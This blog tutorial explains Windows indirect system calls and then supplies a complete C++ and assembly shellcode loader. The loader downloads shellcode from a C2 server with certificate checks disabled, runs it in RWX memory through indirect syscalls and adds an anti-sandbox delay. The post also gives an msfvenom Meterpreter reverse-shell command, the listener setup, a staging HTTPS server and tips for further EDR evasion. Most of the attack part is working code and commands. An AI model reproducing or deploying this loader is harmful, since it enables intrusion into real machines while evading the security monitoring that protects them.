Indirect system call

20 min read
Windowsprogrammingmalware

Stealthy Windows x64 shellcode loader using indirect syscalls to evade EDR/AV, download payloads, and execute them without monitored WinAPI calls.

Featured image

Indirect System Calls in Windows

in this blog we will explores the concept of indirect system calls in windows,a technique used to bypass security measures and potentially evade detection by security software. It delves into the mechanisms behind system calls, the motivations for using indirect approaches, common methods employed, and the implications for system security.

terms you need to understand first

System call

system call or syscall is mechanism that allows user-mode applications to request services from the kernel-mode of the operating system. that because user-mode can not directly access privileged memory or hardware, so they invoke syscall to do the following

  1. allocate memory.
  2. open files.
  3. create process.
  4. manipulate or create windows registry.

SSN (System Service Number)

SN (System Service Number) is a unique ID that Windows assigns to each system call (Nt* function).

When a syscall is executed, the CPU doesn’t know which kernel function to run just from the syscall instruction, it reads the SSN from the EAX register.
The Windows kernel then uses this SSN as an index into the System Service Dispatch Table (SSDT) to find and run the correct function.

These numbers are not fixed they can and do change between different Windows versions and builds.

syscall stub

A syscall stub is a small function, usually located inside ntdll.dll, that prepares CPU registers and executes the syscall instruction. It acts as a wrapper for the transition from user mode to kernel mode in other words, it handles the setup needed before the CPU can perform the system call.

image for syscall
this example of syscall setub for NtAllocateVirtualMemory
  1. Moves RCX into R10 because Windows x64 syscalls require the first argument in R10, not RCX.
  2. Loads EAX with 0x18, the system service number for NtAllocateVirtualMemory on this Windows build.
  3. Tests a flag in SharedUserData at 0x7FFE0308 to decide if it should use the normal syscall path or a compatibility/alternative path.

All put together

Typically, an application begins by calling a high‑level Win32 API, such as VirtualAlloc, which is provided by libraries like kernel32.dll. These high‑level APIs are designed to be developer‑friendly and handle common tasks, but under the hood, they delegate work to lower‑level native APIs in ntdll.dll.

For example, VirtualAlloc calls the native function NtAllocateVirtualMemory inside ntdll.dll. This native API contains a syscall stub.a very small piece of assembly code that prepares the required registers for the call, loads the System Service Number (SSN) into EAX, and executes the syscall instruction.

The syscall instruction is the critical point where execution transitions from user mode (ring 3) to kernel mode (ring 0). Once in kernel mode, the Windows kernel uses the SSN to look up the correct function in the System Service Dispatch Table (SSDT) and executes the corresponding kernel routine. When the kernel finishes its work, it returns execution back to user mode, and the result is passed back through ntdll.dll to the original high‑level API, which then returns it to the application.

Indirect Syscalls

Indirect Syscalls are a technique used to execute Windows system calls without calling them directly through the usual API functions. Normally, when a program calls a function like NtAllocateVirtualMemory, it goes through ntdll.dll’s syscall stub. Security tools such as EDRs often hook these functions in ntdll.dll to monitor or block suspicious behavior. With indirect syscalls, instead of calling the stub directly, the program finds its location in memory and jumps into it after the hook, or uses a copied version of the stub elsewhere. This way, the syscall instruction is still executed, but in a way that bypasses the API hooks, making it harder for security tools to detect or intercept the call.

im

simply it work like this in code:

  1. Load ntdll.dll.
  2. Get the address of the target function — for example, NtAllocateVirtualMemory.
  3. Extract the SSN (System Service Number) from the function’s machine code. On most Windows builds, it’s stored at the 4th byte of the function.
  4. Find the syscall instruction address. This is typically located 0x12 bytes (18 in decimal) from the start of the function.
  5. In assembly, prepare the arguments in the correct registers (e.g., move RCX → R10, load EAX with SSN), then execute the syscall instruction.

Code

let's do example when we use indirect system call to execute shell-code in memory, we will have two files one for assembly instructions, and the second for c++, let's see each file.

main.cpp

we will need to define the gables variables to be able to use them in assembly file. and the functions signatures

1// Holds the SSN for NtAllocateVirtualMemory, resolved at runtime.
2extern "C" DWORD      wNtAllocateVirtualMemory = 0;
3// Holds the address of the `syscall` instruction within NtAllocateVirtualMemory.
4extern "C" UINT_PTR   sysAddrNtAllocateVirtualMemory = 0;
5
6// Holds the SSN for NtWriteVirtualMemory, resolved at runtime.
7extern "C" DWORD      wNtWriteVirtualMemory = 0;
8// Holds the address of the `syscall` instruction within NtWriteVirtualMemory.
9extern "C" UINT_PTR   sysAddrNtWriteVirtualMemory = 0;
10
11// Holds the SSN for NtCreateThreadEx, resolved at runtime.
12extern "C" DWORD      wNtCreateThreadEx = 0;
13// Holds the address of the `syscall` instruction within NtCreateThreadEx.
14extern "C" UINT_PTR   sysAddrNtCreateThreadEx = 0;
15
16// Holds the SSN for NtWaitForSingleObject, resolved at runtime.
17extern "C" DWORD      wNtWaitForSingleObject = 0;
18// Holds the address of the `syscall` instruction within NtWaitForSingleObject.
19extern "C" UINT_PTR   sysAddrNtWaitForSingleObject = 0;
20
21//==============================================================================================
22// EXTERNAL ASSEMBLY FUNCTION PROTOTYPES
23//==============================================================================================
24/**
25 * @brief Prototypes for the low-level syscall functions implemented in a separate assembly file.
26 * These functions are C-style wrappers around the raw `syscall` instruction. Each function
27 * is responsible for setting up the CPU registers (RAX, RCX, RDX, R8, R9, etc.) with the
28 * correct arguments according to the x64 calling convention before executing the `syscall`.
29 * This is the core of the indirect syscall technique.
30 */
31
32 // Assembly wrapper to invoke the NtAllocateVirtualMemory syscall.
33extern "C" NTSTATUS allocate(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
34// Assembly wrapper to invoke the NtWriteVirtualMemory syscall.
35extern "C" NTSTATUS writeMem(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten);
36// Assembly wrapper to invoke the NtCreateThreadEx syscall.
37extern "C" NTSTATUS createThread(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID AttributeList);
38// Assembly wrapper to invoke the NtWaitForSingleObject syscall.
39extern "C" NTSTATUS waitFor(HANDLE Handle, BOOLEAN Alertable, PLARGE_INTEGER Timeout);
40

Now we need to extract information from memory, such as the SSN and the syscall address. The goal is to make it appear as though the call is coming from ntdll.dll, while actually bypassing any hooks. This way, if an EDR inspects the request, it will appear to have originated from ntdll.dll, and the returned address will also point back to ntdll.dll. Trust me everything will become clear as we go, just follow along.

1/**
2 * @brief Dynamically resolves the SSN and syscall instruction address for a given NTAPI function.
3 *
4 * @details This function circumvents API hooking by reading the necessary information directly
5 * from the in-memory `ntdll.dll` module. It finds the function's starting address and then
6 * reads bytes at specific, known offsets to extract the SSN and the address of the `syscall`
7 * instruction. This method is more robust than hardcoding SSNs, which can change between
8 * Windows versions and even patch levels.
9 *
10 * @param funcName The name of the target NTAPI function (e.g., "NtAllocateVirtualMemory").
11 * @param ssnOut   A reference to a DWORD variable where the extracted SSN will be stored.
12 * @param addrOut  A reference to a UINT_PTR variable where the syscall instruction address will be stored.
13 */
14void extractSyscallInfo(LPCSTR funcName, DWORD& ssnOut, UINT_PTR& addrOut) {
15    // Get a handle to the already loaded ntdll.dll module.
16    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
17    // Find the starting address of the target function within ntdll's memory space.
18    UINT_PTR funcAddr = (UINT_PTR)GetProcAddress(hNtdll, funcName);
19
20    // In modern x64 Windows, the prologue of NTAPI functions in ntdll.dll follows a
21    // predictable pattern. The SSN is loaded into the EAX register.
22    // The instruction is `mov eax, <SSN>`, and the SSN value itself is at a 4-byte offset.
23    ssnOut = *(DWORD*)(funcAddr + 4);
24
25    // The `syscall` instruction itself is typically located at a fixed offset (0x12 or 18 bytes)
26    // from the function's start. We capture this address for our assembly stub to jump to.
27    addrOut = funcAddr + 0x12;
28
29    // Print the resolved information for debugging and verification.
30    cout << funcName << " -> SSN: " << dec << ssnOut
31        << ", Syscall address: 0x" << hex << addrOut << endl;
32}

now we need to get our shellcode to execute we can hardcode the shellcode, but to avide detetion more we will send HTTPS request to download the shellcode using this function, just read the comments.

1/**
2 * @brief Downloads a payload from a specified URL using HTTPS via the WinINet library.
3 *
4 * @details This function handles the networking part of the loader. It establishes a secure
5 * HTTPS connection to a remote server and downloads the content from the specified path.
6 * It includes flags to bypass common SSL certificate validation errors (e.g., self-signed
7 * certs), which is highly useful for command-and-control (C2) infrastructure in testing environments.
8 *
9 * @param urlHost The hostname or IP address of the C2 server (e.g., "192.168.100.192").
10 * @param urlPath The path to the payload on the server (e.g., "/payload.bin").
11 * @param port    The port for the HTTPS connection, typically 443.
12 * @param buffer  A pointer to the destination buffer where the downloaded data will be stored.
13 * @param bufferSize The maximum size of the destination buffer in bytes.
14 * @return The total number of bytes successfully downloaded. Returns 0 on any failure.
15 */
16DWORD downloadShellcode(const char* urlHost, const char* urlPath, INTERNET_PORT port, unsigned char* buffer, DWORD bufferSize) {
17    
18    // Initialize a WinINet session with a generic user agent.
19    HINTERNET hInternet = InternetOpenA("WinINet Downloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
20    if (!hInternet) {
21        cerr << "InternetOpenA failed with error: " << GetLastError() << endl;
22        return 0;
23    }
24
25    // Establish a connection to the target server.
26    HINTERNET hConnect = InternetConnectA(hInternet, urlHost, port, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
27    if (!hConnect) {
28        cerr << "InternetConnectA failed with error: " << GetLastError() << endl;
29        InternetCloseHandle(hInternet);
30        return 0;
31    }
32
33    // Define flags for the HTTPS request.
34    // INTERNET_FLAG_SECURE: Crucial flag to enable SSL/TLS for a secure connection.
35    // INTERNET_FLAG_RELOAD: Forces a fresh download from the server, ignoring any cached versions.
36    // INTERNET_FLAG_IGNORE_CERT_*: Bypasses SSL certificate validation.
37    //   (Warning: Insecure for production, but useful for C2 with self-signed certificates).
38    DWORD requestFlags = INTERNET_FLAG_SECURE |
39        INTERNET_FLAG_RELOAD |
40        INTERNET_FLAG_IGNORE_CERT_CN_INVALID |
41        INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
42
43    // This flag specifically helps bypass errors from unknown certificate authorities.
44    DWORD flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA;
45
46    // Create an HTTPS GET request object.
47    HINTERNET hRequest = HttpOpenRequestA(hConnect, "GET", urlPath, NULL, NULL, NULL, requestFlags, 0);
48    // Apply the security option to ignore unknown CA errors.
49    InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &flags, sizeof(flags));
50
51    if (!hRequest) {
52        cerr << "HttpOpenRequestA failed with error: " << GetLastError() << endl;
53        InternetCloseHandle(hConnect);
54        InternetCloseHandle(hInternet);
55        return 0;
56    }
57
58    // Send the prepared request to the server.
59    if (!HttpSendRequestA(hRequest, NULL, 0, NULL, 0)) {
60        cerr << "HttpSendRequestA failed with error: " << GetLastError() << endl;
61        InternetCloseHandle(hRequest);
62        InternetCloseHandle(hConnect);
63        InternetCloseHandle(hInternet);
64        return 0;
65    }
66
67    // Read the server's response data in a loop until the download is complete.
68    DWORD totalBytesRead = 0, bytesRead = 0;
69    while (InternetReadFile(hRequest, buffer + totalBytesRead, bufferSize - totalBytesRead, &bytesRead) && bytesRead > 0) {
70        totalBytesRead += bytesRead;
71    }
72
73    // Clean up all opened WinINet handles in reverse order of creation.
74    InternetCloseHandle(hRequest);
75    InternetCloseHandle(hConnect);
76    InternetCloseHandle(hInternet);
77
78    return totalBytesRead;
79}

now let's put all that together in the main function.

  1. first we call extractSyscallInfo to extract the SSN and syscall address and save it to the globales variables
  2. get the parameters from the args and call the downloadShellcode function to extract the shell-code and save it in the buffer.
  3. Allocate executable memory in the current process using a direct syscall (instead of VirtualAlloc).
  4. Write the downloaded shellcode into that memory using another direct syscall (instead of WriteProcessMemory).
  5. Create a new thread that starts executing the shellcode.
  6. Wait for the thread to finish before exiting.
1
2/**
3 * @brief Main entry point of the program.
4 *
5 * @details This function orchestrates the entire shellcode loading and execution process.
6 * It follows a sequence of operations designed to be stealthy and resilient.
7 */
8int main(int argc,char* argv[]) {
9
10
11
12    if (argc != 4) {
13        cerr << "[-] Incorrect usage." << endl;
14        cerr << "[!] Usage: " << argv[0] << " <HOST> <PATH> <PORT>" << endl;
15        cerr << "[!] Example: " << argv[0] << " 192.168.100.192 /code.bin 443" << endl;
16        return 1; 
17    }
18
19 
20    // Covert Port args from a char to an int;
21    INTERNET_PORT port;
22    try {
23        port = static_cast<INTERNET_PORT>(stoi(argv[3]));
24    }
25    catch (const invalid_argument& e) {
26        cerr << "[-] Invalid port number provided: " << argv[3] << endl;
27        return 1;
28    }
29    catch (const out_of_range& e) {
30        cerr << "[-] Port number is out of range: " << argv[3] << endl;
31        return 1;
32    }
33
34
35
36    // A stack-based buffer to temporarily hold the downloaded shellcode.
37    // A larger size might be needed for more complex payloads.
38    unsigned char shellcode[4096];
39
40    // STEP 1: Dynamically resolve syscall information from ntdll.dll.
41    // This is done first to prepare the necessary components for our direct syscalls.
42    cout << "[*] Resolving syscall numbers and addresses from ntdll.dll..." << endl;
43    extractSyscallInfo("NtAllocateVirtualMemory", wNtAllocateVirtualMemory, sysAddrNtAllocateVirtualMemory);
44    extractSyscallInfo("NtWriteVirtualMemory", wNtWriteVirtualMemory, sysAddrNtWriteVirtualMemory);
45    extractSyscallInfo("NtCreateThreadEx", wNtCreateThreadEx, sysAddrNtCreateThreadEx);
46    extractSyscallInfo("NtWaitForSingleObject", wNtWaitForSingleObject, sysAddrNtWaitForSingleObject);
47
48    // STEP 2: Download the shellcode from the remote C2 server.
49    // 192.168.100.192 /code.bin 443
50    DWORD totalBytesRead = downloadShellcode(argv[1], argv[2], port, shellcode, sizeof(shellcode));
51    if (totalBytesRead == 0) {
52        cerr << "[-] Failed to download shellcode. Aborting." << endl;
53        return 1;
54    }
55    cout << "[+] Downloaded " << dec << totalBytesRead << " bytes of shellcode." << endl;
56
57    // Anti-sandbox/analysis technique: A simple delay. Some automated analysis tools
58    // might terminate a process if it appears to be idle for too long.
59    Sleep(3000);
60
61    // STEP 3: Allocate a new page of virtual memory with Read/Write/Execute permissions.
62    // We request a standard page size (4KB or 0x1000 bytes).
63    SIZE_T buffSize = 0x1000;
64    PVOID allocBuffer = nullptr;
65    // We use our custom assembly function `allocate` instead of `VirtualAlloc`.
66    // (HANDLE)-1 refers to the current process.
67    NTSTATUS status = allocate((HANDLE)-1, &allocBuffer, 0, &buffSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
68    if (status != 0) {
69        cerr << "[-] Memory allocation failed. NTSTATUS: 0x" << hex << status << endl;
70        return 1;
71    }
72    cout << "[+] Memory allocated at address: " << allocBuffer << endl;
73    Sleep(3000);
74
75    // STEP 4: Write the downloaded shellcode into the newly allocated memory region.
76    SIZE_T bytesWritten = 0;
77    // We use our custom assembly function `writeMem` instead of `WriteProcessMemory`.
78    status = writeMem((HANDLE)-1, allocBuffer, shellcode, totalBytesRead, &bytesWritten);
79    if (status != 0) {
80        cerr << "[-] Failed to write to memory. NTSTATUS: 0x" << hex << status << endl;
81        return 1;
82    }
83    cout << "[+] Wrote " << bytesWritten << " bytes to the allocated memory." << endl;
84    Sleep(1000);
85
86    // STEP 5: Create a new thread to execute the shellcode.
87    HANDLE hThread = NULL;
88    // We use our custom assembly function `createThread` instead of `CreateThread`.
89    // The new thread's starting address (`StartRoutine`) is the beginning of our shellcode buffer.
90    status = createThread(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, allocBuffer, NULL, FALSE, 0, 0, 0, NULL);
91    if (status != 0 || hThread == NULL) {
92        cerr << "[-] Thread creation failed. NTSTATUS: 0x" << hex << status << endl;
93        return 1;
94    }
95    cout << "[+] Thread created successfully. Executing payload." << endl;
96
97    // STEP 6: Wait for the shellcode thread to finish its execution.
98    // This is important for cleanup and to ensure the main program doesn't exit prematurely.
99    waitFor(hThread, FALSE, NULL);
100    // Close the thread handle to release system resources.
101    CloseHandle(hThread);
102
103    cout << "[+] Execution finished." << endl;
104    return 0;
105}

assembly

At the top of the assembly file, these EXTERN declarations tell the assembler that the listed variables are defined elsewhere in the program (in the C++ code) and will be linked in later.

1; Assembly stubs for each syscall
2; Each proc loads the SSN into EAX, moves RCX into R10,
3; then jumps to the syscall instruction address inside ntdll.
4
5EXTERN wNtAllocateVirtualMemory:DWORD
6EXTERN sysAddrNtAllocateVirtualMemory:QWORD
7
8EXTERN wNtWriteVirtualMemory:DWORD
9EXTERN sysAddrNtWriteVirtualMemory:QWORD
10
11EXTERN wNtCreateThreadEx:DWORD
12EXTERN sysAddrNtCreateThreadEx:QWORD
13
14EXTERN wNtWaitForSingleObject:DWORD
15EXTERN sysAddrNtWaitForSingleObject:QWORD

remember the syscall stub? we are doing the exact same here:

  1. mov r10, rcx Copies the first argument from RCX into R10. This is required by the Windows x64 syscall calling convention because the syscall instruction expects the first parameter in R10.
  2. mov eax, wNtAllocateVirtualMemory Loads the System Service Number (SSN) for NtAllocateVirtualMemory into EAX. This number tells the kernel which service to execute.
  3. jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] Jumps directly to the resolved syscall instruction inside ntdll.dll. This makes the call look like it originated from ntdll.dll, bypassing any API hooks that might be placed on the function.

do the same for the other functions

1allocate PROC
2    mov     r10, rcx                          ; RCX ? R10 (required for syscall ABI)
3    mov     eax, wNtAllocateVirtualMemory     ; Load SSN for NtAllocateVirtualMemory
4    jmp     QWORD PTR [sysAddrNtAllocateVirtualMemory] ; Jump to ntdll's syscall
5allocate ENDP

Example usage of the code

First, we need to generate the shellcode. We’ll use msfvenom for this. Run the following command, replacing the IP address with your own:

1msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.242.128 LPORT=443 EXITFUNC=thread --platform windows -f raw -o reverse64-192168242128-443.bin
2

This will create a raw 64‑bit reverse TCP Meterpreter payload and save it to reverse64-192168242128-443.bin.Keep in mind that this payload will be detected by most firewalls and EDR solutions because its signature is well known. It’s possible to modify and obfuscate it to avoid detection, but that’s a separate topic.

the second step is to run the listener using the following commands

  • msfconsole
  • use exploit/multi/handler
  • set payload windows/x64/meterpreter/reverse_tcp
  • set LPORT <your port>
  • set LHOST <your ip>
  • run

After that, we need to start an HTTPS server. This step is optional — you could simply hardcode the shellcode directly into the C++ code. However, for better obfuscation and to make the process less obvious, we’ll serve the shellcode from an HTTPS server instead. this’s a simple Python script to run an HTTPS server. You’ll need to replace the certificate and key files with your own:

1import http.server
2import ssl
3import os
4
5# --- Configuration ---
6SERVER_ADDRESS = "0.0.0.0"  # Listen on all network interfaces
7SERVER_PORT = 443           # Standard HTTPS port (requires sudo )
8CERT_FILE = "./keys/cert.pem"      # Path to your certificate file
9KEY_FILE = "./keys/key.pem"        # Path to your private key file
10# ---------------------
11
12# Verify that the certificate and key files exist before proceeding
13if not os.path.exists(CERT_FILE):
14    print(f"Error: Certificate file not found at '{CERT_FILE}'")
15    exit(1)
16if not os.path.exists(KEY_FILE):
17    print(f"Error: Key file not found at '{KEY_FILE}'")
18    exit(1)
19
20# Create a standard HTTP request handler
21Handler = http.server.SimpleHTTPRequestHandler
22
23# Create an SSL context
24# This is the modern, secure way to handle SSL/TLS in Python
25context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER )
26try:
27    # Load the server's certificate and private key
28    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)
29except Exception as e:
30    print(f"Error loading certificate or key file: {e}")
31    print("Please ensure the files are valid and paths are correct.")
32    exit(1)
33
34# Create the HTTP server instance
35try:
36    httpd = http.server.HTTPServer((SERVER_ADDRESS, SERVER_PORT ), Handler)
37except OSError as e:
38    print(f"Error starting server on port {SERVER_PORT}: {e}")
39    print("Hint: Ports below 1024 often require root privileges (use 'sudo').")
40    exit(1)
41
42# Wrap the server's socket with the SSL context
43httpd.socket = context.wrap_socket(httpd.socket, server_side=True )
44
45print(f"Serving HTTPS on https://{SERVER_ADDRESS}:{SERVER_PORT}..." )
46print("Use Ctrl+C to stop the server.")
47
48# Start the server
49try:
50    httpd.serve_forever( )
51except KeyboardInterrupt:
52    print("\nServer stopped.")
53

after setting all this, Get the code from github, and this run it like this

malware
add attacker IP and the file name with port

let's see the attacker box

attacker box
left side is the HTTPs sever and the right is the listener

Why do we do it like this?

Simply because EDRs check for two key indicators:

  • Is the syscall stub located inside ntdll.dll?
    If the syscall originates from memory outside ntdll.dll, it looks suspicious.
  • Does the return address point back into ntdll.dll?
    If execution returns to a spot outside ntdll.dll, EDRs treat that as a red flag.

Indirect syscalls solve both issues. They ensure both the syscall instruction and the return path stay within ntdll.dll memory. This mimics legitimate Windows behavior and avoids raising alarms with most EDRs.

conclusion

In simple terms, we can make this technique even stealthier by:

  • Using hashing – instead of storing API names in plain text, we store their hashes and resolve them at runtime. This makes it harder for scanners to spot function names in our binary. you can check my blog here
  • Dynamic loading – we don’t use static imports; we load and resolve everything at runtime directly from ntdll.dll.

By combining these, our calls look like normal ntdll.dll calls, with no suspicious imports, no hardcoded IDs, and no return addresses outside ntdll.dll, making it much harder for EDRs to detect.